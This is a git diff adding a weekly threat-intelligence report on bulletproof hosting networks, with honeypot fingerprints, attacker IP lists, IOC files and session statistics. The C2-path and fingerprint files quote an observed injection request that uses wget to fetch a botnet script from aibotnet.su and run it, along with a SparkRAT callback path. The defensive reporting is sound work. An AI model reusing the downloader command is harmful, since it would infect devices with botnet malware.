+AS30823,aurologic GmbH,41.216.188.21,ja3,19e29534fd49dd27d09234e639c4057e,,TLSv1.3,Distinct JA3 baseline +AS30823,aurologic GmbH,41.216.188.21,ja4h,ge11nn0500_9af7e0472034,,HTTP,Android Chrome 76 mobile UA (decoy or legitimate mobile) +AS200651,FlokiNET ehf,185.100.87.136,hassh-client,e54ef3ec27fe1fea7ab64d3fa05359fd,SSH-2.0-OpenSSH_10.2p1,,UPGRADED from OpenSSH_10.1 last week (subtle 0.1 bump) -- same client HASSH (OpenSSH_10.x series shares HASSH) +AS200651,FlokiNET ehf,185.100.87.136,hassh-server,b1bff636ebbdbaa9dd2ad97fd173c956,SSH-2.0-OpenSSH_9.9,,Server-side OpenSSH_9.9 on port 7288 (alt SSH port -- furtive) +AS200651,FlokiNET ehf,185.100.87.136,ja4,t13i1909h2_9dc949149365_97f8aa674fd9,,TLSv1.3,Same JA4 as 2026-07-13 (stable) +AS200651,FlokiNET ehf,185.100.87.136,ja3,7c1e207beb00684bbbe144f1b0abe1d5,,TLSv1.3,Same JA3 as 2026-07-13 (stable) +AS200651,FlokiNET ehf,185.100.87.136,ja4h,ge11nn0400_88d30a62b7ad,,HTTP,Same JA4H as 2026-07-13 (stable) +AS200651,FlokiNET ehf,185.100.87.136,ja4h,po11nn0600_c9506d37ac14,,HTTP,NEW this week -- associated with SPARK COMMIT: 08059e95... UA + content-type: application/octet-stream body (CVE-style implant reporting) +AS200651,FlokiNET ehf,185.100.87.136,jarm,2ad2ad16d2ad2ad00042d42d000000332dc9cd7d90589195193c8bb05d84fa,,Tor exit TLS 1.3 256gcm + cipher suite resolution +AS198953,Proton66 OOO,176.120.22.16,greynoise,suspicious,,,"GreyNoise classifies suspicious -- tags: MySQL Protocol, TLS Crawler, Python requests client, Generic Suspicious Linux Command" +AS214940,Kprohost LLC,77.83.39.119,hassh-server,41ff3ecd1458b0bf86e1b4891636213e,SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.16,,"SHARED HASSH across all Ubuntu OpenSSH 8.9p1 in this block -- fleet uniformity" +AS214940,Kprohost LLC,77.83.39.119,greynoise,malicious,,,"Classified malicious by GreyNoise -- tags: Web Crawler, TLS Crawler, ENV Crawler (.env!), GoogleBot pretender, Java HTTP client" +AS210644,Aeza Group LLC,various,no-honeylabs-data,,,"0 honeypot events this week -- prior week single event from 46.226.162.205 has vanished" +AS209847,(real AS41745 FORTIS),45.144.28.70,hassh-server,41ff3ecd1458b0bf86e1b4891636213e,SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.16,+ SSH,STILL shared Ubuntu 8.9p1 HASSH with AS214940; network creation 2026-06-06 (very new BGP) -- GreyNoise malicious: HTTP OPTIONS crawler, Go HTTP client, Generic Brute Force, TLS Crawler +AS209847,(real AS41745 FORTIS),45.144.28.70,ja4tscan,65160_2-4-8-1-3_1460_7_1-2,,Ubuntu default MTU 65160 (no anti-fingerprint tuning) +AS211720,Datashield Inc.,185.231.33.46,jarm,07d19d12d21d21d07c42d43d000000f50d155305214cf247147c43c0f1a823,,Server-side JARM -- distinctive fingerprint; TLS 1.0/1.1 still enabled (DOWNGRADE possible misconfig) +AS211720,Datashield Inc.,185.231.33.46,cert-cn,prohaska.beatty.biz,,,"Self-signed cert -- CN=prohaska.beatty.biz, O=Prohaska-Beatty, OU=compress, ST=HI, C=US, emailAddress=compress@prohaska.beatty.biz" +AS14956,RouterHosting LLC,216.126.239.17,hassh-server,e42184b06d45385a906f0803d04c83da,SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.18,,OpenSSH 9.6 (more current than peers; security-conscious maintenance) +AS14956,RouterHosting LLC,216.126.239.17,ua,PMTA-Auto,,,"PowerMTA mail bruteforce scanner UA; 55 events over 4 days on ports 9900/2698/12124/2156/4071 - proxy brute" +AS14956,RouterHosting LLC,216.126.239.17,wkzeug-fofa,"Werkzeug/3.1.8 Python/3.12.3 / WWW-Authenticate: Basic realm=fofa_monitor",,Distinctive misconfiguration: HTTP 401 with fofa_monitor Basic realm -- Censys flagged as Unencrypted HTTP Weak Auth (high severity) \ No newline at end of file diff --git a/kevlar/2026-07-20/honeylabs/top-attackers.csv b/kevlar/2026-07-20/honeylabs/top-attackers.csv new file mode 100644 index 0000000..f2e40bb --- /dev/null +++ b/kevlar/2026-07-20/honeylabs/top-attackers.csv @@ -0,0 +1,37 @@ +asn,asn_org,source_ip,event_count,first_seen,last_seen,top_ports,country +AS57043,Hostkey B.v.,132.243.194.215,3,2026-07-16T00:21:43,2026-07-16T03:43:00,"6001",DE +AS14956,RouterHosting LLC,216.126.239.17,55,2026-07-13T10:55:23,2026-07-17T15:31:29,"8181,2930,5555,9999,2065",US +AS14956,RouterHosting LLC,172.86.123.136,40,2026-07-14T11:50:06,2026-07-14T20:27:40,"445",US +AS14956,RouterHosting LLC,144.172.104.239,18,2026-07-14T02:38:00,2026-07-19T03:19:38,"25565",US +AS14956,RouterHosting LLC,172.86.89.13,8,2026-07-15T16:12:52,2026-07-15T16:12:56,"445",US +AS14956,RouterHosting LLC,45.61.148.157,3,2026-07-13T13:52:21,2026-07-13T16:32:27,"443",US +AS51396,Pfcloud UG,45.135.193.193,491,2026-07-13T00:22:51,2026-07-19T18:36:25,"8080,8081,8888,8000,3128",DE +AS51396,Pfcloud UG,176.65.148.25,473,2026-07-13T00:02:32,2026-07-13T19:14:08,"10112,4142,33392,20002,3361",NL +AS51396,Pfcloud UG,204.76.203.81,264,2026-07-14T20:54:31,2026-07-18T16:52:54,"34567,17000,6036,80,8080",NL +AS51396,Pfcloud UG,204.76.203.49,222,2026-07-13T00:04:47,2026-07-19T17:52:32,"7777,777,8888,9999,10000",NL +AS51396,Pfcloud UG,176.65.149.30,119,2026-07-13T00:15:43,2026-07-19T21:56:31,"30875,30876,30878,30893,30897",NL +AS51396,Pfcloud UG,176.65.149.212,118,2026-07-13T00:45:08,2026-07-19T21:11:13,"6873,6842,6843,6870,6844",NL +AS51396,Pfcloud UG,176.65.149.27,116,2026-07-13T00:36:48,2026-07-19T23:17:17,"36870,36871,36872,36902,36873",NL +AS51396,Pfcloud UG,176.65.149.31,103,2026-07-13T00:51:38,2026-07-19T23:59:54,"802,801,800,894,889",NL +AS51396,Pfcloud UG,204.76.203.30,90,2026-07-15T06:32:29,2026-07-19T19:11:51,"3128,8080,9090,3000,8443",NL +AS51396,Pfcloud UG,176.65.148.144,75,2026-07-13T00:05:10,2026-07-19T20:28:11,"8080,3128,4145,11089,9999",NL +AS51396,Pfcloud UG,176.65.134.3,71,2026-07-13T01:18:03,2026-07-19T21:03:39,"4145,4153,3629,8080,3128",DE +AS51396,Pfcloud UG,176.65.148.2,69,2026-07-13T01:14:14,2026-07-19T22:10:10,"4145,5678,1080,8080,7890",NL +AS51396,Pfcloud UG,176.65.148.184,59,2026-07-13T00:45:10,2026-07-17T00:15:58,"11235,20128",NL +AS51396,Pfcloud UG,45.135.194.10,55,2026-07-13T00:34:55,2026-07-19T23:30:47,"999,4153,8118,8080,3629",DE +AS51852,Private Layer INC,81.17.28.130,255,2026-07-13T15:58:43,2026-07-19T14:15:34,"443,135",CH +AS51852,Private Layer INC,179.43.186.240,6,2026-07-18T18:44:26,2026-07-19T00:02:54,"443",CH +AS51852,Private Layer INC,179.43.168.58,3,2026-07-19T09:06:49,2026-07-19T20:02:47,"135",CH +AS200651,FlokiNET ehf,185.100.87.136,18,2026-07-13T02:11:12,2026-07-19T22:31:18,"443,80,2222,444",RO +AS200593,Prospero Ooo,91.202.233.79,968,2026-07-13T23:49:25,2026-07-14T03:56:23,"3558,3392,3636,6666,3388",TM +AS200593,Prospero Ooo,91.215.85.104,1,2026-07-17T21:22:19,2026-07-17T21:22:19,"443",RU +AS214940,Kprohost LLC,77.83.39.119,31,2026-07-14T01:10:44,2026-07-19T12:16:47,"443,80",UA +AS214940,Kprohost LLC,77.83.39.42,6,2026-07-15T13:22:26,2026-07-19T14:59:10,"443",UA +AS214940,Kprohost LLC,77.83.39.94,5,2026-07-16T22:15:21,2026-07-17T17:27:00,"443",UA +AS198953,Proton66 OOO,176.120.22.61,793,2026-07-13T09:28:33,2026-07-17T07:23:42,"43,7788,5433,9999,443",RU +AS198953,Proton66 OOO,193.143.1.66,18,2026-07-14T18:01:30,2026-07-15T13:29:16,"3389,3396,3395,3399",RU +AS198953,Proton66 OOO,176.120.22.192,11,2026-07-18T08:35:31,2026-07-18T08:48:53,"1433",RU +AS198953,Proton66 OOO,37.77.150.83,3,2026-07-14T09:22:28,2026-07-14T09:22:28,"6379",RU +AS198953,Proton66 OOO,176.120.22.240,2,2026-07-13T11:37:43,2026-07-14T11:03:45,"9933,6379",RU +AS211720,Datashield Inc.,185.231.33.46,2,2026-07-16T22:21:02,2026-07-18T01:00:29,"1433",SC +AS30823,aurologic GmbH,41.216.188.21,1,2026-07-14T19:24:45,2026-07-14T19:24:45,"443",DE \ No newline at end of file diff --git a/kevlar/2026-07-20/iocs/README.md b/kevlar/2026-07-20/iocs/README.md new file mode 100644 index 0000000..bbc987b --- /dev/null +++ b/kevlar/2026-07-20/iocs/README.md @@ -0,0 +1,48 @@ +# Weekly BP Report -- 2026-07-20 + +Generated: 2026-07-20T11:15:00Z +ASNs covered: 25 (per bulletproof-asns.csv) +Query range: 2026-07-13 through 2026-07-20 (7-day window) +Sponge sessions found: ~6.9M total network traffic across 8 daily buckets +Active ASNs in Sponge: 17 (7 active+Honeylabs; 10 inactive both sources) +Honeylabs events found: ~2,600+ across 7 active ASNs +Censys IPs enriched: 14 IPs (per-host enrichment via censys_get_host) +Censys credits remaining at start: 10,000 +Anomalies flagged: 11 (3 critical, 5 high, 3 medium) + +## Top-Level Findings + +1. **AS200651 (FlokiNET)** - Tor exit 185.100.87.136 effserved as a SPARKRAT C2 callback destination (POST /api/client/update) AND Tor exit. OpenSSH upgraded from 10.1 -> 10.2p1. CRITICAL. +2. **AS216139 (Iron Hosting Centre)** - Sequential port 6001-6050 cluster with uniform 345-348 events each in Censys -- backconnect-C2 listener pattern. CRITICAL. +3. **AS57043 (Hostkey)** - IoT MIPS downloader (aibotnet.su /bins/kla.sh) from NEW IP 132.243.194.215 (Frankfurt). CRITICAL. +4. **AS209847** - Not in Census as AS209847; actually tagged belongs to ASICs41745 FORTIS-AS Baykov Ilya Sergeevich (RU, reg 2026-06-06). 998 Sponge sessions single IP 45.144.28.70. CRITICAL. +5. **AS211720 (Datashield)** - Shifted from /ews/ Exchange recon to MSSQL TDS port 1433 brute (hostname short-tan-rat, self-signed prohaska.beatty.biz cert, TLS 1.0/1.1 still enabled). +6. **AS51396 (Pfcloud)** - NEW scanner tooling 'odin-scanner/0.4' and 'Hello World' UAs. Cluster IPs rotated to 30/.49/.81/.18 from prior 78/79/80 in 204.76.203.0/24. +7. **AS14956 (RouterHosting)** - Exposed Werkzeug/3.1.8 'fofa_monitor' Basic-auth panel on port 5000 (HIGH severity Censys misconfig). +8. **AS400992 (ZhouyiSat)** - Ceased /env scanning this week; censys profile now pure Windows admin (3389/5985/135/445). Behavioral shift. + +## Headline Changes vs Prior Week + +| Metric | Prior (2026-07-13) | Current (2026-07-20) | Δ | Δ% | +|---------------------------------|-------------------:|---------------------:|------:|------:| +| Active ASNs (Sponge or HL) | 15 | 17 | +2 | +13% | +| ASNs in Censys BULLETPROOF | 11 | 12 | +1 | +9% | +| Unique HASSH/JA4H signatures | 11 | ~13 | +2 | +18% | +| Top IP Honeylabs events | 1,518 (AS51852) | 968 (AS200593) | -550 | -36% | +| Critical anomalies flagged | 2 | 3 | +1 | +50% | + +## Directory Structure + +- `sponge/` -- Arkime session stats per ASN (33 stat files + 1 timeline) +- `honeylabs/` -- top-attackers.csv, fingerprints.csv +- `censys/` -- aggregations-summary.ndjson, fleet-correlation.csv +- `changes/` -- diff-vs-prior-week.csv, anomalies.csv +- `iocs/` -- all-observed-ips.txt, fingerprints.txt, c2-paths.txt, README.md (this file) + +## Web Access + +https://git.sr.ht/~hrbrmstr/gists/tree/main/item/kevlar/2026-07-20/ + +## Operators Log + +See ../OPERATIONS_LOG.md for the full phase-by-phase operations record. \ No newline at end of file diff --git a/kevlar/2026-07-20/iocs/all-observed-ips.txt b/kevlar/2026-07-20/iocs/all-observed-ips.txt new file mode 100644 index 0000000..ceca797 --- /dev/null +++ b/kevlar/2026-07-20/iocs/all-observed-ips.txt @@ -0,0 +1,188 @@ +# Weekly BP Report -- 2026-07-20 +# All unique IPs observed across all sources, grouped by ASN +# Query range: 2026-07-13 through 2026-07-20 + +# AS57043 - Hostkey B.v. (DE/NL) +132.243.194.215 +191.101.113.207 +194.180.189.50 +82.26.91.137 + +# AS209847 (BGP-real AS41745) - Baykov Ilya Sergeevich / FORTIS (RU) +45.144.28.70 + +# AS210644 - Aeza Group LLC (AT/SE) -- Aeza sees 11 Sponge sessions, 5 IPs +62.60.231.45 +185.103.101.232 +46.226.162.236 +85.192.24.177 +89.22.229.92 + +# AS138915 - KAOPU Cloud HK (HK) +38.54.2.209 +38.54.2.232 +38.54.2.13 +38.54.2.75 +38.54.2.221 +38.54.2.148 +38.54.2.170 +38.54.2.152 +38.54.2.203 +38.54.2.204 +38.54.2.235 +38.54.2.133 +38.54.2.71 +38.54.2.131 +38.54.2.130 +38.54.2.4 +38.54.2.25 +38.54.2.54 +38.54.2.58 +154.205.139.152 + +# AS14956 - RouterHosting LLC (US) +216.126.225.6 +172.86.117.15 +172.86.116.32 +104.194.159.11 +104.194.159.137 +172.86.77.209 +216.126.239.17 +172.86.88.130 +172.86.91.170 +172.86.91.215 +107.189.27.179 +172.86.116.42 +172.86.116.99 +172.86.121.247 +172.86.91.220 +172.86.91.224 +172.86.117.54 +144.172.94.110 +104.194.154.210 +144.172.93.32 +216.126.239.17 +144.172.104.239 +172.86.123.136 +144.172.100.9 +144.172.100.114 +216.126.239.72 +107.189.16.6 +45.61.148.157 +45.61.150.163 +167.88.168.121 + +# AS216139 - Iron Hosting Centre LTD (NL) +46.30.46.124 + +# AS51852 - Private Layer INC (CH) +179.43.134.114 +179.43.175.234 +179.43.175.236 +179.43.139.58 +179.43.133.154 +81.17.28.130 +179.43.186.240 +179.43.168.58 +179.43.189.67 +179.43.170.10 +31.7.63.12 +179.43.185.147 +141.255.165.88 + +# AS400992 - ZhouyiSat Communications +23.172.217.77 +185.121.15.184 +193.46.218.82 +23.172.217.87 +45.150.195.235 + +# AS33993 - UFO-AS (TOV Aktor) +45.144.31.247 +45.150.64.125 + +# AS51396 - Pfcloud UG +204.76.203.18 +176.65.148.84 +45.153.34.89 +45.153.34.149 +45.156.87.216 +45.153.34.114 +45.153.34.165 +45.156.87.13 +45.156.87.254 +45.153.34.151 +45.153.34.167 +45.156.87.93 +45.156.87.253 +45.156.87.178 +45.153.34.235 +45.153.34.112 +45.153.34.161 +45.156.87.147 +45.153.34.181 +45.135.193.193 +176.65.148.25 +204.76.203.81 +204.76.203.49 +176.65.149.30 +176.65.149.212 +176.65.149.27 +176.65.149.31 +204.76.203.30 +176.65.148.144 +176.65.134.3 +176.65.148.2 +176.65.148.184 +45.135.194.10 +176.65.149.67 +176.65.148.250 +176.65.149.64 +176.65.148.29 +176.65.149.220 +176.65.149.230 + +# AS200651 - FlokiNET ehf (RO/IS) +185.100.87.136 +185.100.84.174 +185.100.84.164 +37.228.129.67 + +# AS30823 - aurologic GmbH (DE) +41.216.188.21 + +# AS140666 - ANY DIGITAL PTE. LTD. (HK) +154.94.68.6 +204.3.179.2 + +# AS198953 - Proton66 OOO (RU) +176.120.22.16 +176.120.22.61 +176.120.22.123 +176.120.22.122 +37.77.150.241 +37.77.150.67 +193.143.1.66 +176.120.22.192 +37.77.150.83 +37.77.150.70 +176.120.22.240 +176.120.22.147 + +# AS200593 - Prospero Ooo (TM/RU) +91.202.233.79 +91.215.85.193 +91.215.85.104 + +# AS214940 - Kprohost LLC (UA) +77.83.39.86 +77.83.39.119 +77.83.39.42 +77.83.39.94 +77.83.39.169 +77.83.39.149 +77.83.39.8 +77.83.39.14 + +# AS211720 - Datashield, Inc. (SC) +185.231.33.46 \ No newline at end of file diff --git a/kevlar/2026-07-20/iocs/c2-paths.txt b/kevlar/2026-07-20/iocs/c2-paths.txt new file mode 100644 index 0000000..f7ef2b6 --- /dev/null +++ b/kevlar/2026-07-20/iocs/c2-paths.txt @@ -0,0 +1,41 @@ +# Weekly BP Report -- 2026-07-20 +# Notable HTTP URL paths observed, ordered by detectability/signal value +# Query range: 2026-07-13 through 2026-07-20 + +# IoT MIPS downloader (NEW observation - AS57043 Hostkey) +/shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su/bins/kla.sh;chmod+777+kla.sh;./kla.sh +# Source: 132.243.194.215 (AS57043 Hostkey B.V. DE) +# JA4H: ge11nn0400_777e992b8532 +# Method: GET on port 6001 +# Intent: Shellshock-style or webshell-triggered IoT botnet MIPS ELF downloader (mirai-variant custom) +# Indicator: 3 events on 2026-07-16 between 00:21:43 and 03:43:00 UTC +# References: aibotnet.su domain -- active C2 URL serving /bins/kla.sh MIPS binaries + +# SPARKRAT update callback (NEW observation - AS200651 FlokiNET Tor exit) +/api/client/update?arch=amd64&commit=08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17&os=windows +# Source: 185.100.87.136 (AS200651 PremiumTorExit Tor 0.4.9.11) +# JA4H: po11nn0600_c9506d37ac14 +# Method: POST with content-type "application/octet-stream" + secret header +# Intent: SPARK-RAT implant callback confirming Windows 64/amd64 implant update -- commit-style versioning commits to C2 git +# Indicator: 3 events on 2026-07-13, 5-hour window +# References: GreyNoise confirms new tag "SparkRAT Client Update Scanner" on this host + +# Event Manager RESTful probing (NEW - AS200651 FlokiNET Tor exit) +/eventmanager +# Source: 185.100.87.136 (AS200651) +# JA4H: ge11nn0400_88d30a62b7ad +# Method: GET /eventmanager HTTP/1.1 on port 443 +# Intent: SPARKRAT manager endpoint observation (subject to validation) + +# MSSQL TDS probing 1433 binary handshake (AS211720 Datashield) +MSSQL TDS Pre-Login binary 0x120100 34 bytes with "MSSQLServer" string and hostname "short-tan-rat" +# Source: 185.231.33.46 (AS211720) onto honeypot port 1433 +# associated_jarm: 07d19d12d21d21d07c42d43d000000f50d155305214cf247147c43c0f1a823 +# Intent: SQL Server payload inspection / pre-login banner to identify MSSQL version for brute +# Indicator: 2 events on 2026-07-16 and 2026-07-18 + +# Pfcloud's 8080/8081 proxy-style port range probing (AS51396) +GET / HTTP/1.1 on diverse ports 8080, 8081, 8888, 8000, 3128 -- 491 events across one week +# Source IP rotation: 45.135.193.193 (DE) primary; 45.135.194.10 (DE); 176.65.148.144 (NL); 204.76.203.30 (NL) +# UA: Go-http-client/1.1 + zgrab/0.x + odin-scanner/0.4 + Hello World +# Intent: Open proxy discovery -- scanning for proxy ports to abuse for proxy-rotation exfiltration tunnels \ No newline at end of file diff --git a/kevlar/2026-07-20/iocs/fingerprints.txt b/kevlar/2026-07-20/iocs/fingerprints.txt new file mode 100644 index 0000000..8b5b84a --- /dev/null +++ b/kevlar/2026-07-20/iocs/fingerprints.txt @@ -0,0 +1,59 @@ +# Weekly BP Report -- 2026-07-20 +# Fingerprints observed per ASN +# Query range: 2026-07-13 through 2026-07-20 + +# ============= HASSH Client Fingerprints ============= + +# AS57043 - Hostkey B.v. - IoT botnet download callback (NO SSH HASSH collected -- HTTP only) +AS57043,132.243.194.215,ja4h,ge11nn0400_777e992b8532,,IoT MIPS downloader GET /shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su/bins/kla.sh on port 6001 + +# AS51396 - Pfcloud - dominant scan cluster (no live SSH probed - 204.76.203.18 census HASSH) +AS51396,204.76.203.18,hassh-server,425d29fe50d8e4f5e37efb6e24bcf660,SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7,Coordinated scan cluster leader; 13,766 Sponge sessions +AS51396,204.76.203.18,ja4tscan-65160_MTU,42340_2-1-1-4-1-3_1460_10_1-2,,Distinctive MTU 42340 (NOT default Ubuntu 65160) -- custom tuning (smaller MSS) + +# AS51852 - Private Layer INC - OpenSSH 8.9p1 Ubuntu-3ubuntu0.15 (same HASSH as AS209847/FORTIS) +AS51852,81.17.28.130,hassh-server,41ff3ecd1458b0bf86e1b4891636213e,SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.15,PLI-AS new primary IP for week; OpenSSH_8.9p1 with Ubuntu-3 patch level .15 (vs .16 in FORTIS/KPRONET) + +# AS200651 - FlokiNet Tor exit - OpenSSH 10.2p1 (UPGRADED from last week's OpenSSH 10.1) +AS200651,185.100.87.136,hassh-client,e54ef3ec27fe1fea7ab64d3fa05359fd,SSH-2.0-OpenSSH_10.2p1,SSH-10.x series shares HASSH; banner string subtly updated +AS200651,185.100.87.136,hassh-server,b1bff636ebbdbaa9dd2ad97fd173c956,SSH-2.0-OpenSSH_9.9,Alt-SSH server on port 7288 (not 22) +AS200651,185.100.87.136,jarm,2ad2ad16d2ad2ad00042d42d000000332dc9cd7d90589195193c8bb05d84fa,,Tor 0.4.9.11 default 9001 listener jarm + +# AS400992 - ZhouyiSat - now testing against Windows admin ports (no SSH/TLS fingerprints collected) + +# AS14956 - RouterHosting LLC - OpenSSH 9.6p1 Ubuntu-3ubuntu13.18 (NOT vulnerable to regreSSHion) + Werkzeug fofa_monitor panel +AS14956,216.126.239.17,hassh-server,e42184b06d45385a906f0803d04c83da,SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.18,Patched against regreSSHion +AS14956,216.126.239.17,fofa-monitor-realm,Basic realm=\"fofa_monitor\",Werkzeug/3.1.8 Python/3.12.3,Censys flagged CENSYS-2022-1002 Unencrypted HTTP Weak Auth on port 5000 -- a fofa-search-style monitoring panel + +# AS214940 - Kprohost LLC - OpenSSH 8.9p1 Ubuntu-3ubuntu0.16 (same HASSH as AS209847/FORTIS, AS51852/PLI) +AS214940,77.83.39.119,hassh-server,41ff3ecd1458b0bf86e1b4891636213e,SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.16,Uniform Ubuntu 22 LTS provisioning across BP providers + +# AS211720 - Datashield - self-signed cert with hostname prohaska.beatty.biz +AS211720,185.231.33.46,jarm,07d19d12d21d21d07c42d43d000000f50d155305214cf247147c43c0f1a823,,Distinctive TLS 1.0/1.1 still enabled +AS211720,185.231.33.46,cert-self-signed,"CN=prohaska.beatty.biz; C=US; ST=HI; O=Prohaska-Beatty; OU=compress; emailAddress=compress@prohaska.beatty.biz",Validity 2022-08-16 -> 2029-08-14 (7 years),Static long-lived fake US business entity cert + +# AS198953 - Proton66 OOO - GreyNoise suspicious multi-protocol brute +AS198953,176.120.22.16,greynoise,suspicious,"tags: MySQL Protocol, TLS Crawler, Python requests client, Generic Suspicious Linux Command",Proton66 top IP this week (replaced 176.120.22.240) + +# AS209847 ("Sponge tag") / Real AS = AS41745 (FORTIS-AS Baykov Ilya Sergeevich RU) +AS209847-real-41745,45.144.28.70,hassh-server,41ff3ecd1458b0bf86e1b4891636213e,SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.16,Same Ubuntu 22 LTS HASSH across multiple bulletproof providers. Known CVEs include CVE-2024-6387 regreSSHion (KEV), CVE-2025-26465, CVE-2023-38408 (KEV), CVE-2026-35385 (HIGH) + +# ============= JA4 / JA3 TLS Fingerprints ============= + +# AS200651 - Stable across prior week (Tor 1.3_d1_d2 client) +AS200651,185.100.87.136,ja4,t13i1909h2_9dc949149365_97f8aa674fd9,TLSv1.3,Stable TLS 1.3 Chrome-with-Tor-pattern fingerprint +AS200651,185.100.87.136,ja3,7c1e207beb00684bbbe144f1b0abe1d5,TLSv1.3,Stable +AS200651,185.100.87.136,ja4h-get,ge11nn0400_88d30a62b7ad,GET /eventmanager HTTP/1.1,GET /eventmanager on port 443 (eventmanager path new this week) +AS200651,185.100.87.136,ja4h-post-spark,po11nn0600_c9506d37ac14,POST /api/client/update?arch=amd64&commit=08059e95...&os=windows,SPARKRAT callback with octet-stream binary body + secret header + +# AS30823 - new entrant with same JA4-base as AS200651 Tor (but different full JA4 due to cipher list composition) +AS30823,41.216.188.21,ja4,t13i190800_9dc949149365_97f8aa674fd9,TLSv1.3,Same JA4-y-binning base "9dc949149365_97f8aa674fd9" as Tor exit (different i-form 190800 vs 190900 means narrower cipher suite) +AS30823,41.216.188.21,ja3,19e29534fd49dd27d09234e639c4057e,TLSv1.3,Distinct JA3 RSA-only fingerprint from a benign mobile Android 9 source (Redmi G8141) +AS30823,41.216.188.21,ja4h,ge11nn0500_9af7e0472034,GET / HTTP/1.1,Android 9 G8141 Chrome 76 mobile UA -- likely benign single connection + +# AS51396 - Pfcloud's new scanner fingerprints: +AS51396,various,ua,Go-http-client/1.1,3 IPs,Go-lang default HTTP client scanner +AS51396,various,ua,Mozilla/5.0 zgrab/0.x,3 IPs,ZGrab academic scanner +AS51396,various,ua,odin-scanner/0.4,1 IP (38 events),NEW THIS WEEK -- brand-new custom tooling on Pfcloud farm +AS51396,various,ua,Hello World,1 IP (12 events),Distinctive minimalistic UA +AS51396,various,ua,Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36,1 IP (51 events),Chrome 149 spoofing from within Pfcloud infra \ No newline at end of file diff --git a/kevlar/2026-07-20/sponge/stat-as138915-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as138915-ip.ndjson new file mode 100644 index 0000000..87acb77 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as138915-ip.ndjson @@ -0,0 +1,20 @@ +{"doc_count":51461,"key":"38.54.2.209"} +{"doc_count":13358,"key":"38.54.2.232"} +{"doc_count":2046,"key":"38.54.2.13"} +{"doc_count":846,"key":"38.54.2.75"} +{"doc_count":686,"key":"38.54.2.221"} +{"doc_count":675,"key":"38.54.2.148"} +{"doc_count":674,"key":"38.54.2.170"} +{"doc_count":220,"key":"38.54.2.152"} +{"doc_count":39,"key":"154.205.139.152"} +{"doc_count":37,"key":"38.54.2.203"} +{"doc_count":31,"key":"38.54.2.204"} +{"doc_count":24,"key":"38.54.2.235"} +{"doc_count":18,"key":"38.54.2.133"} +{"doc_count":12,"key":"38.54.2.71"} +{"doc_count":10,"key":"38.54.2.131"} +{"doc_count":8,"key":"38.54.2.130"} +{"doc_count":7,"key":"38.54.2.4"} +{"doc_count":7,"key":"38.54.2.25"} +{"doc_count":7,"key":"38.54.2.54"} +{"doc_count":7,"key":"38.54.2.58"} diff --git a/kevlar/2026-07-20/sponge/stat-as138915-port.ndjson b/kevlar/2026-07-20/sponge/stat-as138915-port.ndjson new file mode 100644 index 0000000..316ae5c --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as138915-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":12140,"key":80} +{"doc_count":11446,"key":123} +{"doc_count":10266,"key":443} +{"doc_count":5933,"key":1900} +{"doc_count":5069,"key":5355} +{"doc_count":4956,"key":137} +{"doc_count":3993,"key":5353} +{"doc_count":2037,"key":5678} +{"doc_count":1038,"key":138} +{"doc_count":177,"key":28804} +{"doc_count":171,"key":13474} +{"doc_count":170,"key":17534} +{"doc_count":163,"key":21210} +{"doc_count":160,"key":67} +{"doc_count":123,"key":0} +{"doc_count":114,"key":28591} +{"doc_count":113,"key":50246} +{"doc_count":112,"key":34569} +{"doc_count":81,"key":32108} +{"doc_count":45,"key":44918} diff --git a/kevlar/2026-07-20/sponge/stat-as140666-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as140666-ip.ndjson new file mode 100644 index 0000000..fb49d32 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as140666-ip.ndjson @@ -0,0 +1,2 @@ +{"doc_count":1,"key":"154.94.68.6"} +{"doc_count":1,"key":"204.3.179.2"} diff --git a/kevlar/2026-07-20/sponge/stat-as140666-port.ndjson b/kevlar/2026-07-20/sponge/stat-as140666-port.ndjson new file mode 100644 index 0000000..54a5272 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as140666-port.ndjson @@ -0,0 +1 @@ +{"doc_count":2,"key":0} diff --git a/kevlar/2026-07-20/sponge/stat-as14956-ip.ndjson b/kevlar/2026-07-20/sponge/stat-as14956-ip.ndjson new file mode 100644 index 0000000..6112c4e --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as14956-ip.ndjson @@ -0,0 +1,20 @@ +{"doc_count":125,"key":"216.126.225.6"} +{"doc_count":72,"key":"172.86.117.15"} +{"doc_count":50,"key":"172.86.116.32"} +{"doc_count":39,"key":"104.194.159.11"} +{"doc_count":39,"key":"104.194.159.137"} +{"doc_count":38,"key":"172.86.77.209"} +{"doc_count":36,"key":"216.126.239.17"} +{"doc_count":35,"key":"172.86.88.130"} +{"doc_count":30,"key":"172.86.91.170"} +{"doc_count":25,"key":"172.86.91.215"} +{"doc_count":21,"key":"107.189.27.179"} +{"doc_count":20,"key":"172.86.116.42"} +{"doc_count":20,"key":"172.86.116.99"} +{"doc_count":20,"key":"172.86.121.247"} +{"doc_count":15,"key":"172.86.91.220"} +{"doc_count":15,"key":"172.86.91.224"} +{"doc_count":15,"key":"172.86.117.54"} +{"doc_count":10,"key":"144.172.94.110"} +{"doc_count":6,"key":"104.194.154.210"} +{"doc_count":5,"key":"144.172.93.32"} diff --git a/kevlar/2026-07-20/sponge/stat-as14956-port.ndjson b/kevlar/2026-07-20/sponge/stat-as14956-port.ndjson new file mode 100644 index 0000000..421d5e9 --- /dev/null +++ b/kevlar/2026-07-20/sponge/stat-as14956-port.ndjson @@ -0,0 +1,20 @@ +{"doc_count":129,"key":22} +{"doc_count":41,"key":5021} +{"doc_count":35,"key":5022} 